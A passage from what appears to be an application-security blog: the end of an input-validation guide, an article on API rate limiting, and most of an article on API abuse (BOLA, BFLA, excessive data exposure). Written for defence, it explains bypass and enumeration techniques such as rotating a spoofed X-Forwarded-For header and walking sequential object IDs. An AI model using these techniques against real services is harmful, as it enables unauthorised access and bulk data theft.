validation, and skipping them is [IDOR](/idor-explained). Internal service calls get the same treatment as external ones. A value that crossed the edge of service A and then travelled to service B over an internal network is still input to service B, and the [API abuse](/api-abuse-explained) patterns show what happens when internal endpoints assume otherwise. ## Verdict Input validation is a filter with a specific and limited job: confirm that a value is the type, size, shape, and range the application declared, in canonical form, at every boundary the value crosses. Build the rule as an allowlist, reach for a fixed set of permitted values whenever the field allows it, and reject rather than repair. Then accept what the filter cannot do. Injection is closed at the sink by parameterized queries, argument arrays, contextual encoding, and path confinement. Ship both layers and the defense survives the next encoding trick; ship only the filter and it holds until someone finds the representation you did not consider, which the history of [OWASP Top 10](/owasp-top-10-explained) injection entries says someone always does. Applying these rules across a whole codebase is covered in [secure coding practices](/secure-coding-practices). ## Frequently asked questions **Is sanitizing input ever the right answer?** For one case: content that legitimately carries markup, such as a rich-text comment body, where a parser-based sanitizer rewrites the document into a known-safe subset of elements and attributes. Use a maintained library, never a regex. Everywhere else, reject the value, because a repair step transforms the input after the check and produces a string that was never validated. **Do I need validation if I use an ORM and a templating engine?** Yes, for a different reason. The ORM handles parameterization and the templating engine handles output encoding, so the injection classes are largely closed. Validation still enforces types, lengths, ranges, and business rules, and it catches malformed data long before it corrupts state. Both tools also have escape hatches (raw query methods, raw output helpers) that reopen the classes when they are used. **How do I validate a field that must accept arbitrary text?** Constrain what you can (type, maximum length, permitted Unicode categories, no control characters other than the ones you want) and let the sink-level controls carry the rest. A free-text field is exactly the case that proves validation cannot be the injection defense, because the acceptable character set includes the characters an attacker would use. **Should rejected input be logged?** Log the fact of the rejection with the field name, the failing rule, the endpoint, and a request identifier, because repeated failures on one field is a strong probing signal. Be deliberate about logging the value itself: it is attacker-controlled, it may contain payloads aimed at whatever reads the log, and log viewers have their own injection problems. ## Related guides - [Secure Coding Practices](/secure-coding-practices) - [API Security Guide](/api-security-guide) - [SQL Injection Explained](/sql-injection-explained) - [Command Injection Explained](/command-injection-explained) - [Path Traversal Explained](/path-traversal-explained) - [XSS Attacks Explained](/xss-attacks-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP Input Validation Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html - OWASP Injection Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html - CWE-20: Improper Input Validation (MITRE): https://cwe.mitre.org/data/definitions/20.html - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (MITRE): https://cwe.mitre.org/data/definitions/180.html - RFC 3986: Uniform Resource Identifier (URI), Generic Syntax (IETF): https://www.rfc-editor.org/rfc/rfc3986 - Unicode Standard Annex #15: Unicode Normalization Forms (Unicode Consortium): https://www.unicode.org/reports/tr15/ - NIST SP 800-53 Rev. 5, SI-10: Information Input Validation (NIST): https://csrc.nist.gov/projects/risk-management/sp800-53-controls/release-search#!/control?version=5.1&number=SI-10 --- ## API Rate Limiting Explained: Algorithms, Keys, and 429s > How API rate limiting works: token bucket, leaky bucket and sliding window algorithms, what key to count on, where to enforce, and the failure modes that make a limiter decorative. - URL: https://blog.pwnsy.com/rate-limiting-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: web-security - Tags: rate-limiting, api-security, throttling, appsec, web-security - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - A rate limiter answers three questions in order: what identity am I counting on, what budget does that identity get, and what happens when the budget runs out. - Token bucket allows a burst up to the bucket size then settles to the refill rate; leaky bucket smooths output to a fixed rate; sliding window fixes the boundary burst that makes fixed windows leak double the limit. - A limit counted on a spoofable value (a client-supplied X-Forwarded-For, an API key anyone can mint, a device ID from the request body) costs an attacker one header to bypass. - Enforce at the edge for volume, at the gateway for identity, and in the application for anything that depends on business state, and price expensive endpoints higher than cheap ones. ### Key Takeaways - Token bucket with lazy refill is the default choice: two stored values per key, burst tolerance you can tune, and O(1) cost per request. - A fixed window of 100 per minute permits 200 requests in a 200ms straddle of the boundary; a sliding window counter removes that without storing every timestamp. - Count on the strongest identity available (account, then API key, then network prefix), and derive client IP by counting back from the right of X-Forwarded-For by the number of proxies you actually operate. - Rate limit IPv6 on the /64 prefix, because a single host is routinely handed 18 quintillion addresses. - Charge the budget before the expensive work happens, and make the counter update one atomic operation so the limiter itself cannot be raced. - Return 429 with Retry-After, plus rate-limit hint headers, so well-behaved clients back off instead of retrying into the wall. ### FAQ **Q: What is API rate limiting?** API rate limiting is a control that caps how many requests a given identity may make to an endpoint in a given time. It has three parts: a key that identifies the caller (account ID, API key, IP prefix), a budget expressed as a count over a window or a refill rate, and a response when the budget is exhausted, normally HTTP 429 Too Many Requests with a Retry-After header. **Q: What is the difference between token bucket and leaky bucket?** Token bucket holds a stock of tokens that refills at a fixed rate up to a maximum. A request spends a token, so an idle client can burst up to the full bucket size and then proceeds at the refill rate. Leaky bucket models a queue that drains at a fixed rate, so output is smoothed to that rate and bursts wait rather than passing through. Token bucket favours latency for bursty legitimate clients; leaky bucket favours a constant load on the thing behind it. **Q: Why is a fixed window rate limit unsafe?** A fixed window resets its counter at a wall-clock boundary. With a limit of 100 per minute, a client can send 100 requests in the final fraction of one minute and 100 more in the first fraction of the next, delivering 200 requests in a fraction of a second while never exceeding the stated limit. A sliding window counter weights the previous window by the fraction of it still in view and removes the boundary effect. **Q: Should I rate limit by IP address?** IP is the only key available for unauthenticated traffic, so it stays useful, with two caveats. Carrier-grade NAT and corporate egress put thousands of unrelated users behind one address, so a tight per-IP limit causes collateral blocking. IPv6 gives a single host a whole /64, and a subscriber is typically allocated a /56 or /48, so count on the /64 prefix rather than the individual address. Where an account or API key exists, limit on that first and treat IP as a secondary ceiling. **Q: What HTTP status code should a rate limiter return?** 429 Too Many Requests, defined in RFC 6585. Include Retry-After with the number of seconds until the caller may try again, and rate-limit hint headers so a client can pace itself before it hits the wall. The widely deployed convention is the three fields RateLimit-Limit, RateLimit-Remaining and RateLimit-Reset; the current IETF draft has replaced those with two structured fields, RateLimit and RateLimit-Policy. Avoid 403, which tells a client the request is permanently refused and invites an immediate retry from a different path. **Q: Does rate limiting stop a DDoS attack?** It stops the application-layer abuse that a single identity generates: credential stuffing, enumeration, scraping and expensive-query floods. A volumetric attack from a large botnet saturates the link before your limiter is reached, so it has to be absorbed upstream. A rate limiter is a small amount of arithmetic sitting in front of an expensive thing. It answers one question per request, in a few microseconds, using a couple of numbers it remembers about the caller: has this identity already used its share. The arithmetic is easy. The parts that go wrong are the ones around it. Teams pick an algorithm whose boundary behaviour lets double the stated limit through. They count on a value the client supplies. They put the limiter behind the work it was meant to protect. They deploy it on eight application servers with eight independent counters and ship a limit eight times looser than the one in the documentation. This guide covers the mechanism in order: the algorithms and what each one actually does to traffic, the key you count on, where the check belongs, what to return, and the ways the whole thing quietly stops working. Rate limiting is a control. The abuse it contains is covered elsewhere: [API Abuse Explained](/api-abuse-explained) owns the authorization failures that limiting only blunts, [DDoS Attacks Explained](/ddos-attacks-explained) owns volumetric floods, which arrive as a capacity problem long before they arrive as a counting problem, and [API Security Best Practices](/api-security-guide) owns the wider defensive program that a limit budget sits inside. ## The three decisions Every limiter, from an nginx directive to a distributed quota service, is these three choices: 1. **The key.** The string you count against. An account ID, an API key, a source IP prefix, a session, or a composite of several. 2. **The budget.** How much that key may spend, expressed as a count over a window or as a refill rate with a burst allowance, optionally weighted by how expensive each request is. 3. **The outcome.** Reject, queue, or degrade, and what you tell the caller. Choose the budget wrong and you either block paying customers or admit an attacker. The algorithm sits inside decision two, and it is the part most discussions start with, so start there and then correct the emphasis. ## The algorithms ### Fixed window counter Store one integer per key per window. On each request, increment it, and reject when it exceeds the limit. At the window boundary the counter resets. ``` key: user:8812:2026-08-25T14:33 value: 47 TTL: 60s ``` It costs one counter and one expiry per key, and in Redis it is a single `INCR` followed by an `EXPIRE` on first write. The flaw is the boundary. With a limit of 100 per minute, a client that sends 100 requests at 14:33:59.900 and 100 more at 14:34:00.100 has delivered 200 requests in 200 milliseconds without ever breaking the stated rule. Any attacker who reads your documentation gets double the limit for free, on demand, every minute. ### Sliding window log Store a timestamp for every request. On each request, drop entries older than the window and count what remains. Exact, and the memory cost is the limit itself: a 1,000-per-hour limit across 200,000 keys is 200 million timestamps. Correct, and rarely worth what it costs. ### Sliding window counter Keep the current window's count and the previous window's count, then weight the previous one by how much of it is still inside the trailing window. ``` limit = 100 per 60s previous minute count = 90 current minute count = 30 elapsed in current = 15s (so 45s of the previous window is still in view) estimate = 90 * (45/60) + 30 = 67.5 + 30 = 97.5 -> under 100, allow ``` Two integers per key, no boundary burst, and an error that only appears when traffic is wildly uneven inside a window. This is the practical answer when you want window semantics. ### Token bucket Each key owns a bucket with a capacity and a refill rate. A request spends one token. An empty bucket rejects. No timer is involved. Store two values, the token count and the timestamp of the last update, and compute the refill lazily when the request arrives. ``` capacity = 20 tokens refill = 5 tokens/second stored = (tokens, last_seen) on request at time t: tokens = min(capacity, tokens + (t - last_seen) * refill) last_seen = t if tokens >= 1: tokens -= 1; allow else: deny, retry_after = (1 - tokens) / refill ``` Worked through with real numbers. A client has been idle, so its bucket sits full at 20. It fires 20 requests inside 50ms, the last of them at t = 0.050s: all 20 pass, the bucket lands on 0 and `last_seen` is 0.050. Request 21 arrives at t = 0.100s, so tokens = 0 + (0.100 - 0.050) * 5 = 0.25, which is under 1, and the limiter denies with `Retry-After: 1` (0.75 tokens short, at 5 per second, is 0.15s, rounded up to the nearest second the header can express). From there the client is paced at exactly 5 requests per second, and if it goes quiet for 4 seconds it earns a full 20-request burst again. That behaviour is the reason token bucket wins by default. Real clients are bursty (a page loads and fires eleven API calls at once), and a limiter that rejects a normal page load is a limiter someone will turn off. ### Leaky bucket Model the same bucket as a queue that drains at a constant rate. Requests enter the queue, the queue empties at the drain rate, and arrivals that overflow the queue are dropped. With capacity 20 and a drain of 5 per second, the same burst of 20 does not reach the backend in 50ms. It reaches it at 5 per second, with the last request served 4 seconds later. The trade is explicit: the backend sees a perfectly flat load, and the caller pays in latency. Use it in front of something whose failure mode is concurrency rather than volume, such as a third-party API with a hard contractual rate, or a payment processor. GCRA (the generic cell rate algorithm, borrowed from ATM networking) is the same shape stored as a single timestamp per key, which is why several production limiters use it. ### Concurrency limits A separate control that is often what you actually needed. Instead of requests per second, cap the number of in-flight requests per key. Ten simultaneous report generations from one tenant will hurt a database that a hundred cheap reads per second would not touch. Rate and concurrency limit different resources, and expensive endpoints usually want both. ## Comparison | Algorithm | State per key | Burst behaviour | Boundary flaw | Best for | |---|---|---|---|---| | Fixed window | 1 counter | Full limit instantly | Yes, 2x at the edge | Coarse quotas where 2x is tolerable | | Sliding window log | N timestamps | Exact | None | Small key space, exactness required | | Sliding window counter | 2 counters | Smoothed across the boundary | None material | General-purpose window quotas | | Token bucket | Count plus timestamp | Up to bucket capacity | None | Default for user-facing APIs | | Leaky bucket / GCRA | Queue or one timestamp | None, output is flat | None | Protecting a fixed-rate downstream | | Concurrency limit | 1 gauge | Not applicable | Not applicable | Expensive or long-running work | ## What to count on This is where limiters are actually defeated. **Account or tenant ID.** The strongest key, because it costs an attacker a real identity to obtain another one. Use it wherever the caller is authenticated. Pair it with a limit on account creation, or the strength evaporates. **API key or client ID.** Good, with the same caveat: if anyone can self-serve a hundred keys in a minute, you have a per-key limit and no per-attacker limit. Tie keys to an account and limit the account in aggregate. OAuth clients have the same property, covered in [OAuth 2.0 Explained](/oauth-2-explained). **Source IP.** The only option for unauthenticated endpoints such as login, signup and password reset. Two structural problems. Carrier-grade NAT and corporate egress place thousands of unrelated people behind one address, so a strict per-IP limit blocks an office to stop one script. And a single IPv6 host is handed a whole /64, which is 18 quintillion addresses, while a subscriber is typically allocated a /56 or a /48, so per-address counting is meaningless. Count IPv6 on the /64 (widen to the /48 for hosting ranges) and IPv4 on the /32, with a looser per-/24 ceiling behind it. **Composite keys.** Login is the case where one key is not enough. Limit per account (to stop a targeted brute force), per IP prefix (to stop one host spraying many accounts), and globally per endpoint (to catch a distributed spray that stays under both). NIST SP 800-63B sets a concrete floor for the first of those: no more than 100 consecutive failed authentication attempts on a single account. The attack techniques these keys are sized against are covered in [How Passwords Get Cracked](/password-cracking-techniques). `X-Forwarded-For` is a list that every proxy appends to, and the leftmost entry was written by the client. An application that takes the first value is counting on an attacker-supplied string, and the bypass is one header per request: `X-Forwarded-For: 1.2.3.4`, then `1.2.3.5`, forever. Take the value at a fixed offset counted back from the **right**, where the offset is the number of proxies you operate, and strip anything the outermost proxy did not add. RFC 7239's `Forwarded` header has the same property. The same goes for a device ID, session token or tenant name read out of a request body: if the client writes it, it buys unlimited budget. See [Host Header Injection Explained](/host-header-injection-explained) for the wider pattern of trusting request metadata. **Request cost.** A flat request count prices a `GET /health` the same as a report export or a deeply nested GraphQL query, so an expensive endpoint spends more than one token from the same bucket. Choosing the unit and the number is budget design, covered in [API Security Best Practices](/api-security-guide); for GraphQL the price has to be computed from the query itself, which is [GraphQL Attacks Explained](/graphql-attacks-explained) territory. ## Where to enforce it Rate limiting belongs at more than one layer, because each layer knows something the others do not. | Layer | Sees | Enforce here | |---|---|---| | CDN / edge | IP, geography, TLS fingerprint, raw volume | Crude per-IP ceilings, bot rules, absorbing floods before origin | | API gateway / reverse proxy | Route, API key, JWT claims | Per-key and per-route quotas, the published limits | | Application | Account, tenant, business state, request cost | Cost-weighted limits, per-feature caps, anything needing a database read | | Downstream / worker | Queue depth, connection pool | Concurrency limits and backpressure | The edge is the only place that can help against volume, because a flood that reaches your origin has already consumed the bandwidth. The application is the only place that knows this account is on a free plan and this query is expensive. Neither substitutes for the other. **Shared state is the operational catch.** A per-process counter on eight application servers is eight independent budgets, so the effective limit is eight times what you documented, and it moves every time you autoscale. Centralise the counter in Redis or an equivalent, and make the read-modify-write a single atomic operation: `INCR` for windows, a Lua script or a compare-and-set loop for token buckets. That central store is now on the request path, so decide in advance what happens when it is unreachable. ## Failure modes **The limiter itself gets raced.** A limiter that reads the counter, compares it to the limit, and writes the increment as three separate steps is check-then-act on shared state, and a burst of concurrent requests can all read the same pre-increment value and all pass. This is the reason atomic operations matter here specifically, and it is also why rate limiting does not fix the underlying class of bug: [TOCTOU Race Conditions Explained](/toctou-race-condition-explained) covers limit-overrun attacks in full, and a limiter is one more resource with a limit to overrun. **Counting after the expensive work.** A limiter that runs after authentication, after the database lookup and after the template render has already spent everything it was protecting. Charge the budget as early in the request lifecycle as the key is known. **Fail-open silence.** When the Redis holding the counters times out, the common default is to allow the request. That is a reasonable availability choice and a terrible one to make implicitly, because an attacker who can degrade your counter store has disabled your limiter. Choose deliberately per endpoint: fail open on read paths, fail closed on login, password reset, payment and account creation, and alarm on the transition either way. **Limiting only the front door.** Teams limit `POST /login` and leave the token refresh endpoint, the mobile API, the GraphQL mutation that also authenticates, and the legacy v1 route unlimited. Enumeration then moves to whichever endpoint distinguishes a real account from a fake one, which is usually password reset or signup. Inventory every path that touches the same resource. **Uniform limits across a non-uniform API.** One global limit has to be loose enough for the cheapest endpoint, which makes it useless for the most expensive one. Price by cost. **Low and slow.** A distributed attacker with 5,000 hosts, each making one request every ten seconds, stays under any per-IP limit ever written while generating 500 requests per second in aggregate. Per-key limits do not see this. Only the global ceiling described above and anomaly detection on the aggregate rate catch it, and the residue is a bot-management problem. **Leaking through the response.** A limiter that returns a different error for "no such account" than for "wrong password" hands an attacker an enumeration oracle that survives whatever the limit is. Also avoid returning the exact remaining count to unauthenticated callers on sensitive endpoints, since it tells a script precisely how hard it may push. **Retry storms.** A limit with no `Retry-After` teaches every client to retry immediately, so a brief overload becomes a sustained one. Return the header, and require exponential backoff with jitter in your own SDKs. ## What to return Reject with `429 Too Many Requests` (RFC 6585). Include: ``` HTTP/1.1 429 Too Many Requests Retry-After: 30 RateLimit-Policy: "default";q=100;w=60 RateLimit: "default";r=0;t=30 Content-Type: application/json {"error":"rate_limited","message":"Quota exhausted. Retry in 30 seconds."} ``` `Retry-After` is defined in RFC 9110 and takes either seconds or an HTTP date. The rate-limit hint headers let a well-written client pace itself before it is rejected. Two syntaxes are in circulation. The IETF HTTP API working group draft, still an Internet-Draft rather than an RFC, now defines exactly two Structured Fields, `RateLimit` and `RateLimit-Policy`, as shown above. Older draft versions defined three separate fields, `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset`, and those are what most deployed APIs and client libraries still send and parse. Emitting both costs a few bytes and is the safe position today. Send them on successful responses too. Two things to avoid. Do not answer with `403`, which reads as a permanent authorization decision and tells a client nothing about waiting. Do not silently drop the connection on a normal user's overage, because a client that receives nothing retries. Picking the number itself, and rolling it out without breaking legitimate traffic, belongs to budget design: [API Security Best Practices](/api-security-guide) covers observe-only rollout and how to choose the unit you count. ## A worked configuration For a login endpoint on a service with roughly 200,000 daily active users: - **Per account:** token bucket, capacity 5, refill 1 token per 60 seconds, spent only on a *failed* attempt. A legitimate user who fumbles a password three times is unaffected. A guessing attack against one account gets 5 immediate tries then 1 per minute. NIST SP 800-63B caps consecutive failed attempts on a single account at 100, so the bucket is paired with a hard stop: after 100 consecutive failures the account requires a verified reset. - **Per IPv4 /32 and IPv6 /64:** sliding window counter, 30 failed attempts per 10 minutes, then a hard block for 30 minutes. Loose enough for a NATed office, and it paces a single host at 30 attempts per half-hour cycle, so one guess against each of 5,000 accounts takes over 80 hours. - **Global on the endpoint:** a ceiling set well above the measured peak of legitimate failed logins for this service, so only a distributed spray reaches it. Crossing it pages someone and turns on a challenge for unrecognised devices rather than blocking outright. - **Fail closed** if the counter store is unavailable, with a 2-second timeout and an alert. ## Verdict Use a token bucket with lazy refill, keyed on the strongest identity the request carries, with a per-endpoint cost weight, enforced in shared atomic state at the gateway, backed by a crude per-prefix ceiling at the edge and a concurrency cap on anything expensive. Return 429 with `Retry-After` and rate-limit hint headers. Fail closed on the endpoints where an attacker benefits from your outage. A perfectly implemented sliding window counted on a client-supplied header is a lookup that always returns "allow", and a fixed window keyed on a verified account ID, charged before the expensive work, will contain most of the abuse a public API actually receives. Fix the key first, then the placement, then argue about buckets. And keep the scope honest: limiting caps the rate of a request an attacker was already entitled to make, so the authorization checks in [API Abuse Explained](/api-abuse-explained) and the atomicity in [TOCTOU Race Conditions Explained](/toctou-race-condition-explained) still have to be right underneath it. ## Related guides - [API Abuse Explained](/api-abuse-explained) - [API Security Best Practices](/api-security-guide) - [TOCTOU Race Conditions Explained](/toctou-race-condition-explained) - [DDoS Attacks Explained](/ddos-attacks-explained) - [GraphQL Attacks Explained](/graphql-attacks-explained) - [Host Header Injection Explained](/host-header-injection-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [How Passwords Get Cracked](/password-cracking-techniques) ### Sources - RFC 6585: Additional HTTP Status Codes (429 Too Many Requests) (IETF): https://datatracker.ietf.org/doc/html/rfc6585#section-4 - RFC 9110: HTTP Semantics (Retry-After) (IETF): https://datatracker.ietf.org/doc/html/rfc9110#section-10.2.3 - RFC 7239: Forwarded HTTP Extension (IETF): https://datatracker.ietf.org/doc/html/rfc7239 - RateLimit header fields for HTTP (IETF HTTP API Working Group): https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/ - OWASP API Security Top 10: API4:2023 Unrestricted Resource Consumption (OWASP): https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/ - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - OWASP Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html --- ## API Abuse Explained: BOLA, BFLA, and Excessive Data Exposure > How API abuse works through the OWASP API Top 10: broken object and function level authorization, excessive data exposure, and rate-limit defense. - URL: https://blog.pwnsy.com/api-abuse-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: api-security, bola, authorization, owasp, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Most API abuse is an authorization failure: the API authenticates who you are, then forgets to check whether you are allowed to touch this specific object or action. - Broken Object Level Authorization lets an attacker swap an ID in a request and read or change records that belong to someone else. - Broken Function Level Authorization lets a normal user reach admin-only endpoints simply by calling them directly. - Excessive data exposure and missing rate limits turn small gaps into bulk data theft and abuse at scale. ### Key Takeaways - Check authorization against the authenticated user for every object and every action, on the server, on every request. - Never rely on the client hiding an endpoint or a field; if it exists, assume an attacker will call it directly. - Return only the fields a caller needs, and filter server-side rather than trusting the client to drop sensitive fields. - Rate limiting and resource quotas blunt enumeration, brute force, and scraping when authorization gaps do exist. - Object-level and function-level authorization are the top two entries in the OWASP API Security Top 10 for good reason. APIs are where the data actually lives, and attackers have noticed. A web page can hide a button, but the API behind it answers to anyone who sends the right request. When an API authenticates a user correctly and then fails to check what that user is allowed to do, the result is API abuse: reading other people's records, calling actions meant for admins, or pulling far more data than a feature ever displays. This guide walks through the abuse patterns that dominate the OWASP API Security Top 10: broken object level authorization, broken function level authorization, and excessive data exposure, plus the rate-limiting layer that limits the damage. For the defensive foundation, pair it with the [API Security Guide](/api-security-guide). ## Authentication is not authorization The single idea behind almost every entry below is the gap between two questions. Authentication asks "who are you", and most APIs answer it well with tokens and sessions. Authorization asks "are you allowed to do this, to this specific thing", and that is where APIs fall down. The reason is structural. A REST or GraphQL API exposes objects by identifier and actions by endpoint. The identifier and the endpoint are right there in the request, fully under the caller's control. If the server checks the token and then trusts the identifier, an authenticated user can reach past their own data by editing what they send. Exploiting a public API this way maps to [Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/) on MITRE ATT&CK. ## Broken Object Level Authorization (BOLA) BOLA is the number one API risk, and it is the simplest to understand. An endpoint takes an object identifier and returns or modifies that object without confirming the object belongs to the caller. ``` GET /api/v1/orders/1024 -> your order GET /api/v1/orders/1025 -> someone else's order ``` If the server returns order 1025 to a user who owns only 1024, the authorization check is missing. The attacker simply increments, decrements, or guesses identifiers and harvests records one by one. Sequential integer IDs make this trivial, but even random identifiers are not a fix, because an attacker who obtains a valid ID from a referral link, a log, or a shared URL can still access it if the ownership check is absent. This is the same underlying flaw as [Insecure Direct Object Reference](/idor-explained), viewed through the API lens. The defense is to check, on every request, that the authenticated user is authorized for the specific object named, using the user identity from the session rather than anything the client supplied. Switching from sequential integers to random identifiers raises the effort of enumeration; it does not authorize anything. A random ID that leaks in a log, a shared link, or a referrer is just as usable to an attacker as a guessed one. The only real fix is a server-side ownership check on every object access. ## Broken Function Level Authorization (BFLA) Where BOLA is about the wrong object, BFLA is about the wrong action. Many APIs expose privileged functions, deleting any user, changing a role, viewing all records, and rely on the client to only show those functions to admins. The endpoints themselves accept calls from anyone authenticated. ``` POST /api/v1/admin/users/1025/promote DELETE /api/v1/admin/users/1025 ``` A normal user who discovers or guesses these routes, often by reading the front-end code or changing an HTTP method, can invoke administrative actions directly. Common shapes of this bug: - Admin routes that check that you are logged in but not that you are an admin. - Endpoints where changing `GET` to `POST` or `DELETE` reaches an unprotected handler. - Role escalation through a mutation the UI never exposes but the API still honors. The fix is to enforce role and permission checks at the function itself, server-side, denying by default, so reaching the route without the right role fails regardless of how the caller found it. ## Excessive data exposure This one hides in plain sight. An API returns a full object, and the front end displays only part of it. The rest, an email, a password hash, an internal flag, a full address, is sitting in the response body, one browser dev-tools panel away. The root cause is returning the whole database record and trusting the client to hide fields. The client is not a security boundary. An attacker reads the raw response and takes everything in it. When paired with a BOLA gap, excessive exposure turns a single leaked record into a rich profile, and repeated across enumerated IDs it becomes a bulk breach. The related failure is mass assignment, where an API binds a whole request body onto an object and lets a caller set fields they should never control, such as `isAdmin` or `balance`. See [Mass Assignment Explained](/mass-assignment-explained) for that direction of the same trust mistake. The defense is to shape responses and requests explicitly: return only the fields a caller needs, filter server-side, and bind only the fields a caller is allowed to set. ## Missing rate limits and resource controls Even a well-authorized API is abusable if a caller can hammer it without limit. Missing rate limits enable credential stuffing against login, enumeration against any ID-based endpoint, scraping of catalogs, and resource exhaustion that degrades the service for everyone. Rate limiting does not fix an authorization gap, and it does contain the blast radius of one while you close it, and it stops the abuse that needs no gap at all. See [Rate Limiting Explained](/rate-limiting-explained) for the mechanics. ## How the pieces chain together These flaws are dangerous alone and worse in combination. A real attack usually strings several together. An attacker starts with a shadow endpoint nobody remembered to protect, finds it authenticates but does not authorize, swaps an object ID to reach another user's record (BOLA), reads fields the UI never shows in the raw response (excessive exposure), and, with no rate limit in the way, walks every ID in sequence until they have the whole table. No single bug in that chain looks catastrophic in isolation. Together they are a bulk breach. This is why defending an API is a matter of applying the same few checks everywhere rather than hardening one dramatic endpoint. The attacker looks for the one route where the habit slipped. ## Business logic abuse Not every API abuse is a missing check on data. Some target the logic itself: replaying a one-time discount code, requesting a negative quantity to invert a charge, racing two withdrawal requests so both succeed against the same balance, or skipping a required step in a multi-stage flow by calling the final endpoint directly. Automated scanners rarely catch these because every individual request is well-formed and authorized. Finding them takes understanding what the workflow is supposed to guarantee and testing whether the API enforces that order and those invariants server-side. ## Attack summary | Abuse | OWASP API theme | What the attacker does | Primary defense | |---|---|---|---| | BOLA | Broken Object Level Authorization | Swaps object IDs to reach others' data | Per-object ownership check on every request | | BFLA | Broken Function Level Authorization | Calls admin endpoints directly | Role check at the function, deny by default | | Excessive data exposure | Broken Object Property Level Authorization | Reads hidden fields in the raw response | Return only needed fields, filter server-side | | Mass assignment | Broken Object Property Level Authorization | Sets fields they should not control | Bind only allowed fields | | No rate limiting | Unrestricted Resource Consumption | Enumerates, stuffs, scrapes at scale | Rate limits and quotas | ## How to defend against API abuse 1. **Authorize every object access.** On each request, confirm the authenticated user owns or may access the specific object named, using the identity from the session, never an identifier from the request body. 2. **Enforce function-level roles server-side.** Guard every privileged endpoint with a role and permission check, deny by default, and assume attackers will find and call hidden routes directly. 3. **Shape data explicitly.** Return only the fields a response needs and bind only the fields a request may set. Do not send full records and trust the client to hide the rest. 4. **Rate limit and set quotas.** Throttle by user and by endpoint, cap expensive operations, and slow enumeration and brute force even where authorization holds. 5. **Keep an inventory of endpoints.** Shadow, deprecated, and undocumented endpoints are a favorite target. You cannot protect what you have not catalogued. 6. **Test with a second account.** The fastest way to find BOLA and BFLA is to take an object or action that belongs to user A and try it as user B. Do this in review and in automated tests. Authorization flaws in public APIs are a leading cause of modern data breaches. Our Exploit Intelligence dashboard tracks live vulnerabilities across API and application components, so you can prioritize the authorization and exposure fixes attackers are actually using. ## A worked example of a BOLA discovery It helps to see how a tester turns a hunch into a confirmed finding, because the same steps are what an attacker runs. Suppose an app has a profile page that loads your details. Watching the traffic, you notice the page calls an endpoint that names your account by a numeric identifier. The response carries your email, your phone number, and your saved address. The first move is to change the identifier by one and resend the request with your own valid session token attached. If the server returns a different person's profile, the ownership check is missing and you have a BOLA. If it returns an error, you are not done, because a single failure does not prove the check is sound. Try an identifier far from your own, try one that belongs to an account you control from a second login, and try the same request with a different HTTP method in case a sibling handler is less careful. The goal is to separate two cases: a server that genuinely checks ownership on every path, and a server that happens to reject one shape while accepting another. Once a single swap works, the severity comes from scale. If the identifiers are sequential and there is no rate limit, a short script walks the whole range and pulls every record. If they are random, the attacker looks for places those identifiers leak, a shared link, a referral parameter, a log, a cached response, since a random identifier is only a speed bump, never an authorization decision. The finding that matters to a defender is the same one either way: the endpoint authenticates the caller and never confirms the caller owns the object it returns. ## API abuse in GraphQL The examples so far use REST paths, and the same failures appear in GraphQL with a different surface. A GraphQL API exposes a single endpoint and a typed schema, so the identifier and the action move into the query body rather than the URL. BOLA shows up when a query asks for a node by id and the resolver returns it without checking the caller owns it. BFLA shows up when a mutation performs a privileged action and the resolver trusts that the client would only send it for an admin. GraphQL adds two wrinkles worth naming. The first is that a single query can traverse relationships, so a caller who reaches one object may be able to walk from it to related objects whose resolvers are less carefully guarded. Authorization has to hold at every resolver, including the ones reached past the entry point. The second is that introspection, when left enabled in production, hands an attacker the full schema, including the names of privileged mutations the front end never calls. That does not create a vulnerability by itself, and it removes the guesswork, which is why treating a hidden mutation as protected because the UI never shows it is the same mistake as trusting a hidden REST route. ## How to detect API abuse in progress Prevention is the goal, and detection is what catches the gap you missed. The signals below are concrete enough to build alerts around. **Sequential identifier access.** A single session requesting many object identifiers in ascending or descending order, especially across accounts, is the enumeration footprint of a BOLA being exploited. A normal user touches their own handful of objects, not a sweep of the range. **Authorization denials that keep coming.** A burst of 403 or 404 responses to one caller across many object identifiers suggests someone probing for the one object the check misses. The denials are the tool working, and the danger is the request that finally succeeds. **Privileged endpoints called by ordinary roles.** A request to an admin route from a session that has never held an admin role is a BFLA probe whether or not it succeeds. Log the role on every privileged call and alert when it is wrong. **Response sizes that do not match the feature.** Excessive data exposure is visible as responses far larger than the UI uses, or as fields in the wire data that never render. Comparing the fields a client requests against the fields it displays can surface the leak. **Volume out of proportion to the account.** One token pulling thousands of records, or hitting a login endpoint far faster than a human could type, points at missing rate limits feeding enumeration or credential stuffing. ## How the OWASP API list evolved The shape of this problem has been stable enough that the OWASP API Security Top 10 has kept authorization at the top across its editions. The first edition put Broken Object Level Authorization at number one and Broken Function Level Authorization high on the list, reflecting that most reported API incidents were authorization failures rather than injection or memory bugs. The later edition kept that emphasis and refined the property-level category, splitting 